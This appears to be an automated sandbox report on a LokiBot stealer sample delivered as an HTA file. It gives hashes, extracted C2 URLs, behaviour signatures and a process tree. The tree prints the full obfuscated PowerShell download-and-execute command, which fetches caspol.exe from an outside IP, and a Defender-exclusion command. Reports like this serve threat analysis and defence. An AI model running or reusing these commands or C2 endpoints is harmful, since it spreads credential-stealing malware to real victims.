Analysis

  • max time kernel
    117s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 01:33

General

  • Target

    dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21.hta

  • Size

    178KB

  • MD5

    a54bdd270a424ec79b735ef6b513c2e4

  • SHA1

    465738a3e31b16ad80c44f3dc7bdd762e402cb51

  • SHA256

    dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21

  • SHA512

    598f303f9f570851f3e538dcd5d9e23717e177b3e652320a7d58dc4800a0f81d9445b719e51b0875b640460c1b4d6be7a592e738b1004c2c0490bffac8ba0c61

  • SSDEEP

    96:4vCl1722AAZtbZfjdDINnmScJXD65zbfKZ/UQ:4vCld22AAVjBIcyzbfyUQ

Malware Config

Extracted

Family

lokibot

C2

http://94.156.177.41/maxzi/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Lokibot family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2644
    • C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
      "C:\Windows\SysTEM32\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE" "PowERShell.EXE -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT ; iNvOkE-EXprEssion($(invOkE-exPreSSIoN('[sYsteM.tEXT.EncOdInG]'+[CHar]0X3A+[CHaR]0x3A+'Utf8.GEtsTriNG([sYSTEm.CONvErT]'+[ChAr]0x3a+[CHar]58+'fROMbasE64string('+[char]34+'JEFIQ2MxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJlUkRlRmlOaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3piR3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZEdvU2hpRWwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZZTGlNem4sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYkcpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNQmdOa1F0IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLWHhFWHhxZEVFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSENjMTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzY2LjYzLjE4Ny4yMzEvNjU3L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtTVGFSVC1zbGVFcCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXGNhc3BvbC5leGUi'+[ChAR]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2800
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2708
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\t56ygmdu.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2924
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES197.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC196.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2328
      • C:\Users\Admin\AppData\Roaming\caspol.exe
        "C:\Users\Admin\AppData\Roaming\caspol.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2356
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1352
        • C:\Users\Admin\AppData\Roaming\caspol.exe
          "C:\Users\Admin\AppData\Roaming\caspol.exe"
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:2036

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RES197.tmp

    Filesize

    1KB

    MD5

    a8c57741d9c78675e29ddf1d608123da

    SHA1

    936398d80464491ab13f72fc0c182cc8afe302d0

    SHA256

    87be9d4e22876b6c91640fd8c2870aba0827680d6a0c4c4d62c259521908606f

    SHA512

    8bf34cb537e2672b453102f54a206646eb0f37bfb4e2f04e4a4da919dd62143c08be5c6e524ef4abcd6541760dd2fdc9eb8bc0d0e01c339066e3907dccc575b4

  • C:\Users\Admin\AppData\Local\Temp\t56ygmdu.dll

    Filesize

    3KB

    MD5

    275b043b4b8befa05447b8ab3fb5bb61

    SHA1

    82566d076df5b3b10eeb6957d0c32a408ec588fb

    SHA256

    fff7bba83f1ef5bde213b2d1534e8f19bfa33670f23810235dc579b11f3d0fd0

    SHA512

    71d2b22e73747dab091cc1806abdf7ac3204dca18ed5a7f34280979b5493903c47048579cb3999a9ffaa3dc413af86b991700443a472b7aa265b193cd1312bcc

  • C:\Users\Admin\AppData\Local\Temp\t56ygmdu.pdb

    Filesize

    7KB

    MD5

    21e67463c3ecdd59e4914867d165d7ac

    SHA1

    970a9fabbb73d4bc22292ccaad1cc8e57840801e

    SHA256

    e58ae9fb21e05e7f19e89a166a2387487cdcab1b36095d68bc7805205192caf4

    SHA512

    87a37cea217ea96057eb4d1f70a2410c8a1a90a2deb36472b71198836e75d64d5f0a0f84acb5516c565e4041ad8b8fa207c4104ac2348e2d670ebba0a3f37fe6

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3290804112-2823094203-3137964600-1000\0f5007522459c86e95ffcc62f32308f1_94ea1d76-6d7e-4d9e-abc7-ef9a6a2a9269

    Filesize

    46B

    MD5

    d898504a722bff1524134c6ab6a5eaa5

    SHA1

    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

    SHA256

    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

    SHA512

    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3290804112-2823094203-3137964600-1000\0f5007522459c86e95ffcc62f32308f1_94ea1d76-6d7e-4d9e-abc7-ef9a6a2a9269

    Filesize

    46B

    MD5

    c07225d4e7d01d31042965f048728a0a

    SHA1

    69d70b340fd9f44c89adb9a2278df84faa9906b7

    SHA256

    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

    SHA512

    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    bdaf58850f8ecdd15a847c4e9cfe0095

    SHA1

    27e65e12f99b7a354ee6b9372ade51f0209cfcca

    SHA256

    66e89c9d0499a96248153acd17d39ee95193a2cab584ca8c95393945114cc789

    SHA512

    c7cc3ede89c2e147795782a0289f2f0b1c40755a626fc78ffd83298abc6d3d83eeb9226e7a938d7eea8bd9bec7557447a8b805866b52be0f256c59fdbdad65af

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC196.tmp

    Filesize

    652B

    MD5

    985b5af135b9729c061a889cc22f3c65

    SHA1

    4df7251a3675bd252259367d2f631fde70d1c4a6

    SHA256

    42c71fb511e97eb55a303cf1f8b62faf74170f22273055a080086ff38d0bbe22

    SHA512

    589023d7a85cefd8f95419bd6eee143160740889f59460d92fff7b7cd8267c40fb9ed4df77e755724733a85d64380424b829dbef27ade4622acc7706b0c25c46

  • \??\c:\Users\Admin\AppData\Local\Temp\t56ygmdu.0.cs

    Filesize

    477B

    MD5

    f97fc8141f59078b4354b513d3b083ac

    SHA1

    293904ab8d5f38a2f0764ee2e35e97e590d8c737

    SHA256

    f6766cc467b91c9c99186a91d4cc32ebf6803b04c9e82ba8dedd54f9dc25b32e

    SHA512

    87b65e67e76c334c79481d25513fb1696ab86b1d8bf6006b7436a5ba7e522e2101912315c16d92cb0bf0feb86aa9616d5ea1019054c489958ca364947abe879c

  • \??\c:\Users\Admin\AppData\Local\Temp\t56ygmdu.cmdline

    Filesize

    309B

    MD5

    dd0b112c6ab7891dcdeecc5ac1f0f9f3

    SHA1

    73aad2b38d50060141cf102ec358d2294d027d7c

    SHA256

    26e88596bdf6ab45433746c895b48e5c78d01c95bedfb81969a7893ceb1a352e

    SHA512

    d425117bc4c22e9472c1df705574b112b39c7488120ffdbbed1aebcc4083e8ee6ce2a2f381be0dc6fde5158f1963ebda84547effd900d640a3938250728d26b8

  • \Users\Admin\AppData\Roaming\caspol.exe

    Filesize

    506KB

    MD5

    759dd13715bc424308f1d0032ac4b502

    SHA1

    03347c96c50c140192e8df70260d732bea301ebc

    SHA256

    d4c86776bcf1dc4ffd2f51538f3e342216314b76cdba2c2864193350654a9aca

    SHA512

    4197992f4b44ea45c91cb00c7308949560ae24d179e9a14ebc4efb27e1b20abae203b1c8756c211eb9aab9732a3fd04c824bd6bc92510c8de3caea3a8cfa8e55

  • memory/2036-51-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2036-47-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2036-49-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2036-57-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/2036-60-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2036-53-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2036-58-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2036-55-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2036-85-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2036-94-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2356-46-0x0000000004250000-0x00000000042B4000-memory.dmp

    Filesize

    400KB

  • memory/2356-45-0x0000000000480000-0x0000000000492000-memory.dmp

    Filesize

    72KB

  • memory/2356-44-0x0000000000C20000-0x0000000000CA4000-memory.dmp

    Filesize

    528KB